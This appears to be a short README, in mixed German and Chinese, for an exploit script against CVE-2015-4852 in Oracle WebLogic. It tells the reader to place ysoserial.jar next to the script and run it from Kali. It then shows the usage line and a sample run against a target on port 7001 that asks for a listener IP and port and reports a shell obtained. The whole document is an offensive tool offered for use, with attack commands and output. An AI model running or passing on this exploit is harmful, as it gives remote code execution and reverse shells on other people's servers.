CVE-2015-4852

Voraussetzung: ysoserial.jar muss in das Skriptverzeichnis gelegt werden (ysoserial-0*.jar in ysoserial.jar umbenennen). Am besten führt man das Skript mit Kali Linux aus.

1. Verwendung：

root@kali:~# python3 CVE-2015-4852.py -h

Usage: python CVE-2015-4852.py -t/--target 1.1.1.1 7001

Options:

-h, --help show this help message and exit

-t TARGET, --target=TARGET ip port

2. Beispiel：

root@kali:~# python3 CVE-2015-4852.py -t 10.6.214.129 7001

请输入监听ip地址：10.6.214.1

请输入监听端口：7777

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

执行成功

获得shell